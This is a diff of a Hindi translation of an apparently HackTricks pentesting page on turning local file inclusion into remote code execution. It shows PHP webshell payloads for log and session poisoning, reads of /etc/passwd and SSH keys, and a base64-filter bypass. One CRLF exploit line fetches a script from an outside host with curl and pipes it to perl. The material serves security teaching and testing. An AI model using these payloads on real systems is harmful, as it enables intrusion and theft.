> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप किसी **PHP function** के लिए **file path** को नियंत्रित करते हैं जो किसी **file** तक पहुँचता है पर आप फ़ाइल की सामग्री नहीं देख पाएंगे (जैसे एक साधारण कॉल **`file()`**) और सामग्री दिखाई नहीं देती।
|
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **PHP function** के **file path** को नियंत्रित करते हैं जो किसी **file** तक पहुँचने के लिए उपयोग होगा लेकिन आप उस फ़ाइल की सामग्री नहीं देख पाएंगे (जैसे एक साधारण कॉल **`file()`**) और सामग्री प्रदर्शित नहीं की जाती।
|
||||||
|
|
||||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) यह समझाया गया है कि कैसे एक blind path traversal को PHP filter के माध्यम से abuse करके **exfiltrate the content of a file via an error oracle** किया जा सकता है।
|
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) इसमें समझाया गया है कि कैसे PHP filter के माध्यम से एक blind path traversal का दुरुपयोग करके **error oracle** के जरिए किसी फ़ाइल की सामग्री को exfiltrate किया जा सकता है।
|
||||||
|
|
||||||
सारांश के रूप में, यह तकनीक **"UCS-4LE" encoding** का उपयोग करती है ताकि किसी फ़ाइल की सामग्री इतनी **big** हो जाए कि जिस **PHP function opening** फ़ाइल को खोलता है वह एक **error** trigger कर दे।
|
सारांश में, यह तकनीक **"UCS-4LE" encoding** का उपयोग करके किसी फ़ाइल की सामग्री को इतना **बड़ा** बना देती है कि फ़ाइल खोलने वाली **PHP function** एक **error** ट्रिगर कर दे।
|
||||||
|
|
||||||
फिर, पहले char को leak करने के लिए filter **`dechunk`** का उपयोग किया जाता है साथ ही अन्य जैसे **base64** या **rot13**, और अंत में filters **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग करके **place other chars at the beggining and leak them** किया जाता है।
|
फिर, पहले char को leak करने के लिए filter **`dechunk`** का उपयोग किया जाता है साथ ही **base64** या **rot13** जैसे अन्य filters के साथ और अंत में filters **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग करके अन्य chars को शुरुआत में place करके उन्हें leak किया जाता है।
|
||||||
|
|
||||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
**संभावित रूप से प्रभावित Functions**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||||
|
|
||||||
For the technical details check the mentioned post!
|
तकनीकी विवरण के लिए ऊपर उल्लेखित पोस्ट देखें!
|
||||||
|
|
||||||
## LFI2RCE
|
## LFI2RCE
|
||||||
|
|
||||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||||
|
|
||||||
जब server-side कोड जोfiles ingest/upload करता है destination path को user-controlled डेटा (उदा., filename या URL) से बनाता है बिना इसे canonicalising और validating किए, तो `..` segments और absolute paths intended directory से बाहर निकलकर arbitrary file write कर सकते हैं। अगर आप payload को किसी web-exposed directory में रख सकें, तो आम तौर पर आप webshell drop करके unauthenticated RCE प्राप्त कर लेते हैं।
|
जब server-side code जो files ingest/upload करता है destination path को user-controlled data (उदा., एक filename या URL) का उपयोग करके बनाता है बिना उसे canonicalising और validating किए, तो `..` segments और absolute paths intended directory से बाहर निकलकर arbitrary file write कर सकते हैं। यदि आप payload को किसी web-exposed directory में रख सकते हैं, तो आम तौर पर webshell डालकर unauthenticated RCE प्राप्त किया जा सकता है।
|
||||||
|
|
||||||
Typical exploitation workflow:
|
Typical exploitation workflow:
|
||||||
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
|
- ऐसे endpoint या background worker में एक write primitive पहचानें जो path/filename स्वीकार करता है और disk पर content लिखता है (उदा., message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
|
||||||
- Determine web-exposed directories. Common examples:
|
- वेब-एक्सपोज़्ड directories निर्धारित करें। सामान्य उदाहरण:
|
||||||
- Apache/PHP: `/var/www/html/`
|
- Apache/PHP: `/var/www/html/`
|
||||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||||
- एक traversal path craft करें जो intended storage directory से webroot में निकल जाए, और अपनी webshell content शामिल करें।
|
- एक traversal path तैयार करें जो intended storage directory से बाहर निकलकर webroot में पहुँचे, और अपनी webshell content शामिल करें।
|
||||||
- ड्रॉप किए गए payload पर ब्राउज़ करें और कमांड execute करें।
|
- ड्रॉप किए गए payload पर ब्राउज़ करें और commands execute करें।
|
||||||
|
|
||||||
Notes:
|
Notes:
|
||||||
- वह vulnerable service जो write करता है वह non-HTTP port पर सुन सकता है (उदा., TCP 4004 पर JMF XML listener)। मुख्य वेब पोर्टल (अलग port) बाद में आपका payload serve करेगा।
|
- वह vulnerable service जो write करता है, वह किसी non-HTTP port पर सुन सकता है (उदा., TCP 4004 पर एक JMF XML listener). मुख्य वेब पोर्टल (अलग port) बाद में आपका payload serve करेगा।
|
||||||
- Java स्टैक्स पर, ये file writes अक्सर simple `File`/`Paths` concatenation से implement होते हैं। canonicalisation/allow-listing की कमी मूल दोष है।
|
- Java stacks पर, ये file writes अक्सर सरल `File`/`Paths` concatenation के साथ लागू किए जाते हैं। canonicalisation/allow-listing की कमी ही मुख्य दोष है।
|
||||||
|
|
||||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||||
```xml
|
```xml
|
||||||
@ -466,26 +466,26 @@ in.transferTo(out);
|
|||||||
</Command>
|
</Command>
|
||||||
</JMF>
|
</JMF>
|
||||||
```
|
```
|
||||||
इन क्लास की बग्स को रोकने वाली हार्डनिंग:
|
Hardening जो इस वर्ग की bugs को रोकता है:
|
||||||
- पाथ को कैनॉनिकल पाथ में resolve करें और सुनिश्चित करें कि यह allow-listed बेस डायरेक्टरी की उप-डायरेक्टरी हो।
|
- एक canonical path पर resolve करें और सुनिश्चित करें कि यह allow-listed base directory का descendant हो।
|
||||||
- ऐसे किसी भी पाथ को अस्वीकार करें जिसमें `..`, absolute roots, या drive letters शामिल हों; generated filenames को प्राथमिकता दें।
|
- किसी भी path जिसमें `..`, absolute roots, या drive letters हों, reject करें; generated filenames को प्राथमिकता दें।
|
||||||
- राइटर को कम-privileged अकाउंट पर चलाएँ और लिखने वाली डायरेक्टरीज़ को served roots से अलग रखें।
|
- writer को low-privileged account के रूप में चलाएँ और write directories को served roots से अलग रखें।
|
||||||
|
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
Explained previously, [**इस लिंक का पालन करें**](#remote-file-inclusion).
|
||||||
|
|
||||||
### Apache/Nginx log file के माध्यम से
|
### Apache/Nginx log file के माध्यम से
|
||||||
|
|
||||||
यदि Apache या Nginx server include फ़ंक्शन के भीतर **vulnerable to LFI** है तो आप कोशिश कर सकते हैं कि **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** तक पहुँचें, **user agent** या किसी **GET parameter** के अंदर एक php shell जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फाइल को include करें
|
यदि Apache या Nginx server include function के अंदर **vulnerable to LFI** है तो आप प्रयास कर सकते हैं कि **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचें, **user agent** में या किसी **GET parameter** में एक php shell जैसे **`<?php system($_GET['c']); ?>`** डालें और उस फ़ाइल को include करें
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> ध्यान दें कि **यदि आप shell के लिए double quotes का उपयोग करते हैं** simple quotes की बजाय, तो double quotes स्ट्रिंग "_**quote;**_" में बदल दिए जाएंगे, **PHP एक error फेंकेगा** और **कुछ भी execute नहीं होगा**।
|
> ध्यान दें कि **यदि आप shell के लिए double quotes का उपयोग करते हैं** बजाय **simple quotes** के, तो double quotes string "_**quote;**_" के लिए परिवर्तित कर दिए जाएंगे, वहाँ **PHP एक error देगा** और **कुछ भी execute नहीं होगा**।
|
||||||
>
|
>
|
||||||
> साथ ही, सुनिश्चित करें कि आप **payload को सही ढंग से लिखें** वरना PHP हर बार log फाइल लोड करने की कोशिश पर error देगा और आपको दूसरी बार अवसर नहीं मिलेगा।
|
> साथ ही, सुनिश्चित करें कि आप **payload को सही तरीके से लिखें**, नहीं तो PHP हर बार log file लोड करने की कोशिश में error देगा और आपको दूसरी मौका नहीं मिलेगा।
|
||||||
|
|
||||||
यह अन्य logs में भी किया जा सकता है पर **सावधान रहें,** logs के अंदर कोड URL encoded हो सकता है और यह Shell को नष्ट कर सकता है। हेडर **authorisation "basic"** में Base64 में "user:password" होता है और यह logs के अंदर decoded होता है। PHPShell को इस हेडर के अंदर insert किया जा सकता है.\
|
यह अन्य logs में भी किया जा सकता है लेकिन **सावधान रहें,** logs के अंदर कोड URL encoded हो सकता है और इससे Shell नष्ट हो सकता है। header **authorisation "basic"** में "user:password" Base64 में होता है और यह logs के अंदर decoded होता है। PHPShell इस header के अंदर insert किया जा सकता है।\
|
||||||
Other possible log paths:
|
अन्य संभावित log paths:
|
||||||
```python
|
```python
|
||||||
/var/log/apache2/access.log
|
/var/log/apache2/access.log
|
||||||
/var/log/apache/access.log
|
/var/log/apache/access.log
|
||||||
@ -501,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||||||
|
|
||||||
### ईमेल के माध्यम से
|
### ईमेल के माध्यम से
|
||||||
|
|
||||||
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` हो और उपयोगकर्ता की मेल को इस पथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`** में include करने का प्रयास करें
|
**एक मेल भेजें** आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` शामिल हो और उपयोगकर्ता की मेल को इन पथों से include करने की कोशिश करें: **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
|
||||||
|
|
||||||
### /proc/*/fd/* के माध्यम से
|
### /proc/\*/fd/\* के माध्यम से
|
||||||
|
|
||||||
1. बहुत सारी shells अपलोड करें (उदाहरण के लिए: 100)
|
1. बहुत सारी shells अपलोड करें (उदाहरण के लिए: 100)
|
||||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = प्रोसेस का PID (can be brute forced) और $FD file descriptor है (can be brute forced too)
|
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = प्रोसेस का PID (can be brute forced) और $FD = file descriptor (can be brute forced too)
|
||||||
|
|
||||||
### /proc/self/environ के माध्यम से
|
### /proc/self/environ के माध्यम से
|
||||||
|
|
||||||
लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा
|
एक लॉग फ़ाइल की तरह, payload को User-Agent में भेजें; यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा।
|
||||||
```
|
```
|
||||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||||
User-Agent: <?=phpinfo(); ?>
|
User-Agent: <?=phpinfo(); ?>
|
||||||
```
|
```
|
||||||
### अपलोड के माध्यम से
|
### Via upload
|
||||||
|
|
||||||
यदि आप कोई फ़ाइल अपलोड कर सकते हैं, तो उसमें shell payload इंजेक्ट करें (उदा: `<?php system($_GET['c']); ?>` ).
|
यदि आप एक file upload कर सकते हैं, तो बस उसमें shell payload inject कर दें (e.g : `<?php system($_GET['c']); ?>` ).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||||
```
|
```
|
||||||
फ़ाइल को पढ़ने योग्य रखने के लिए सबसे अच्छा है कि इसे pictures/doc/pdf के metadata में इंजेक्ट किया जाए
|
फाइल को पठनीय बनाए रखने के लिए pictures/doc/pdf की metadata में inject करना सबसे अच्छा है
|
||||||
|
|
||||||
### Zip file अपलोड के माध्यम से
|
### ZIP फ़ाइल अपलोड के माध्यम से
|
||||||
|
|
||||||
एक ZIP file अपलोड करें जिसमें compressed PHP shell शामिल हो और फिर उसे एक्सेस करें:
|
एक ZIP फ़ाइल अपलोड करें जिसमें compressed PHP shell शामिल हो और उसे access करें:
|
||||||
```python
|
```python
|
||||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||||
```
|
```
|
||||||
### PHP Session के माध्यम से
|
### PHP sessions के माध्यम से
|
||||||
|
|
||||||
जाँचें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है या नहीं
|
जाँचें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है या नहीं
|
||||||
```
|
```
|
||||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||||
```
|
```
|
||||||
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ files में संग्रहीत होते हैं
|
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ files में स्टोर होते हैं
|
||||||
```
|
```
|
||||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||||
@ -545,78 +545,78 @@ cookie को `<?php system('cat /etc/passwd');?>` पर सेट करें
|
|||||||
```
|
```
|
||||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||||
```
|
```
|
||||||
LFI का उपयोग करके PHP session file को include करें
|
PHP session file को include करने के लिए LFI का उपयोग करें
|
||||||
```
|
```
|
||||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||||
```
|
```
|
||||||
### ssh के माध्यम से
|
### ssh के माध्यम से
|
||||||
|
|
||||||
अगर ssh सक्रिय है तो जांचें कि कौन सा user उपयोग हो रहा है (/proc/self/status & /etc/passwd) और कोशिश करें **\<HOME>/.ssh/id_rsa** तक पहुँचने की।
|
यदि ssh सक्रिय है, तो यह जांचें कि कौन-सा user उपयोग हो रहा है (/proc/self/status & /etc/passwd) और **\<HOME>/.ssh/id_rsa** तक पहुँचने की कोशिश करें।
|
||||||
|
|
||||||
### **के माध्यम से** **vsftpd** _**logs**_
|
### **के जरिए** **vsftpd** _**logs**_
|
||||||
|
|
||||||
FTP सर्वर vsftpd के लॉग _**/var/log/vsftpd.log**_ पर स्थित होते हैं। यदि Local File Inclusion (LFI) vulnerability मौजूद है और exposed vsftpd server तक पहुँच संभव है, तो निम्नलिखित कदम अपनाए जा सकते हैं:
|
FTP server vsftpd के logs _**/var/log/vsftpd.log**_ में स्थित हैं। यदि Local File Inclusion (LFI) vulnerability मौजूद है और exposed vsftpd server तक पहुँच संभव है, तो निम्नलिखित कदम विचार में लिए जा सकते हैं:
|
||||||
|
|
||||||
1. लॉगिन प्रक्रिया के दौरान username फ़ील्ड में PHP payload inject करें।
|
1. लॉगिन प्रक्रिया के दौरान username field में PHP payload inject करें।
|
||||||
2. Injection के बाद, LFI का उपयोग करके सर्वर के लॉग _**/var/log/vsftpd.log**_ को प्राप्त करें।
|
2. Injection के बाद LFI का उपयोग करके server logs को _**/var/log/vsftpd.log**_ से retrieve करें।
|
||||||
|
|
||||||
### php base64 filter (using base64) के माध्यम से
|
### php base64 filter (using base64) के माध्यम से
|
||||||
|
|
||||||
जैसा कि [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article में दिखाया गया है, PHP base64 filter सिर्फ Non-base64 को ignore करता है। आप इसका उपयोग file extension check को bypass करने के लिए कर सकते हैं: यदि आप ऐसा base64 सप्लाई करते हैं जो ".php" पर समाप्त होता है, तो यह सिर्फ "." को ignore कर देगा और base64 में "php" append कर देगा। यहाँ एक example payload है:
|
जैसा कि [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article में दिखाया गया है, PHP base64 filter Non-base64 को ignore कर देता है। आप इसका उपयोग file extension check bypass करने के लिए कर सकते हैं: यदि आप ऐसा base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह "." को ignore कर देगा और base64 में "php" append कर देगा। यहाँ एक example payload है:
|
||||||
```url
|
```url
|
||||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||||
|
|
||||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
```
|
```
|
||||||
### php filters के माध्यम से (कोई फ़ाइल आवश्यक नहीं)
|
### के माध्यम से php filters (किसी फ़ाइल की आवश्यकता नहीं)
|
||||||
|
|
||||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) समझाता है कि आप आउटपुट के रूप में **php filters to generate arbitrary content** का उपयोग कर सकते हैं। जिसका मूल अर्थ यह है कि आप include के लिए **generate arbitrary php code** कर सकते हैं, और वह भी इसे किसी फ़ाइल में लिखने की आवश्यकता के बिना।
|
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) समझाती है कि आप आउटपुट के रूप में **php filters to generate arbitrary content** का उपयोग कर सकते हैं। इसका मूलतः मतलब यह है कि आप include के लिए **generate arbitrary php code** बना सकते हैं, वह भी इसे किसी फ़ाइल में लिखने की आवश्यकता **without needing to write** के बिना।
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-php-filters.md
|
lfi2rce-via-php-filters.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Segmentation fault के जरिए
|
### segmentation fault के माध्यम से
|
||||||
|
|
||||||
**Upload** एक फ़ाइल जो `/tmp` में **temporary** के रूप में स्टोर होगी, फिर उसी **same request,** में एक **segmentation fault** ट्रिगर करें, और तब वह **temporary file won't be deleted** होगा और आप उसे खोज सकते हैं।
|
**अपलोड करें** एक फ़ाइल जो `/tmp` में **अस्थायी** के रूप में स्टोर होगी, फिर उसी **अनुरोध** में एक **segmentation fault** ट्रिगर करें, और तब वह **अस्थायी फ़ाइल हटाई नहीं जाएगी** और आप उसे खोज सकते हैं।
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-segmentation-fault.md
|
lfi2rce-via-segmentation-fault.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Nginx temp file storage के जरिए
|
### Nginx temp file storage के माध्यम से
|
||||||
|
|
||||||
यदि आपने **Local File Inclusion** पाया है और **Nginx** PHP के सामने चल रहा है, तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:
|
यदि आपको **Local File Inclusion** मिला है और फ्रंट में **Nginx** PHP चला रहा है तो आप निम्नलिखित तकनीक से RCE प्राप्त कर सकते हैं:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-nginx-temp-files.md
|
lfi2rce-via-nginx-temp-files.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### PHP_SESSION_UPLOAD_PROGRESS के जरिए
|
### PHP_SESSION_UPLOAD_PROGRESS के माध्यम से
|
||||||
|
|
||||||
यदि आपने **Local File Inclusion** पाया है भले ही आपकी **don't have a session** हो और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में भेजते हैं, तो PHP आपके लिए **enable the session for you** कर देगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
|
यदि आपको **Local File Inclusion** मिला है भले ही आपकी **session न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए session को **enable कर देगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
via-php_session_upload_progress.md
|
via-php_session_upload_progress.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Windows में temp file uploads के जरिए
|
### Windows में temp file uploads के माध्यम से
|
||||||
|
|
||||||
यदि आपने **Local File Inclusion** पाया है और सर्वर **Windows** पर चल रहा है, तो आप RCE प्राप्त कर सकते हैं:
|
यदि आपको **Local File Inclusion** मिला है और सर्वर **Windows** पर चल रहा है, तो आप RCE प्राप्त कर सकते हैं:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-temp-file-uploads.md
|
lfi2rce-via-temp-file-uploads.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### `pearcmd.php` + URL args के जरिए
|
### `pearcmd.php` + URL args के माध्यम से
|
||||||
|
|
||||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` script php docker images में डिफ़ॉल्ट रूप से मौजूद है। इसके अलावा, URL के माध्यम से script को arguments पास करना संभव है क्योंकि बताया गया है कि यदि किसी URL param में `=` नहीं है, तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखिए भी [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) और [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` php docker images में डिफ़ॉल्ट रूप से मौजूद होती है। इसके अलावा, स्क्रिप्ट को URL के माध्यम से arguments पास करना संभव है क्योंकि संकेत दिया गया है कि यदि किसी URL param में `=` नहीं है, तो उसे argument के रूप में उपयोग किया जाना चाहिए। इसके अलावा देखें [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) और [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)।
|
||||||
|
|
||||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||||
```bash
|
```bash
|
||||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||||
```
|
```
|
||||||
निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (से [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
निम्नलिखित CRLF vuln का दुरुपयोग RCE प्राप्त करने के लिए किया गया है ([**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) से):
|
||||||
```
|
```
|
||||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||||
@ -625,7 +625,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
|||||||
```
|
```
|
||||||
### phpinfo() के माध्यम से (file_uploads = on)
|
### phpinfo() के माध्यम से (file_uploads = on)
|
||||||
|
|
||||||
यदि आपने एक **Local File Inclusion** पाया है और एक फाइल जो **phpinfo()** दिखा रही है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
|
यदि आपने **Local File Inclusion** पाया है और एक फ़ाइल जो **phpinfo()** दिखाती है जिसमें file_uploads = on है तो आप RCE प्राप्त कर सकते हैं:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -634,7 +634,7 @@ lfi2rce-via-phpinfo.md
|
|||||||
|
|
||||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure के माध्यम से
|
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure के माध्यम से
|
||||||
|
|
||||||
यदि आपने एक **Local File Inclusion** पाया है और आप temp file का path **exfiltrate** कर सकते हैं BUT **server** यह **चेक** कर रहा है कि **include की जाने वाली फ़ाइल में PHP marks हैं**, तो आप इस **Race Condition** के साथ उस चेक को **bypass** करने की कोशिश कर सकते हैं:
|
यदि आपने **Local File Inclusion** पाया है और आप टेम्प फ़ाइल का पाथ **can exfiltrate the path** कर सकते हैं BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -643,7 +643,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
|||||||
|
|
||||||
### eternal waiting + bruteforce के माध्यम से
|
### eternal waiting + bruteforce के माध्यम से
|
||||||
|
|
||||||
यदि आप LFI का दुरुपयोग करके **temporary files upload** कर सकते हैं और server के कारण PHP execution को **hang** करवा सकते हैं, तो आप घंटों तक filenames को **brute force** करके temporary file ढूँढ सकते हैं:
|
यदि आप LFI का दुरुपयोग करके **upload temporary files** कर सकते हैं और सर्वर PHP execution को **hang** कर सकते हैं, तो आप घंटों तक **brute force filenames during hours** करके टेम्प फ़ाइल खोज सकते हैं:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -652,15 +652,15 @@ lfi2rce-via-eternal-waiting.md
|
|||||||
|
|
||||||
### Fatal Error तक
|
### Fatal Error तक
|
||||||
|
|
||||||
यदि आप किसी भी फ़ाइल को include करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (आपको वही फ़ाइल 2 बार include करनी होगी ताकि वह error फेंके).
|
यदि आप किसी भी फ़ाइलों को शामिल करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (आपको वही फ़ाइल उस त्रुटि को फेंकने के लिए 2 बार शामिल करनी होगी).
|
||||||
|
|
||||||
**मुझे नहीं पता कि यह कितना उपयोगी है पर यह हो सकता है।**\
|
**मुझे नहीं पता यह कितना उपयोगी है पर हो सकता है।**\
|
||||||
_भले ही आप एक PHP Fatal Error उत्पन्न करें, PHP द्वारा upload की गई temporary files delete कर दी जाती हैं._
|
_भले ही आप PHP Fatal Error पैदा कर दें, PHP द्वारा अपलोड की गई अस्थायी फ़ाइलें हटा दी जाती हैं._
|
||||||
|
|
||||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
|
||||||
## References
|
## संदर्भ
|
||||||
|
|
||||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
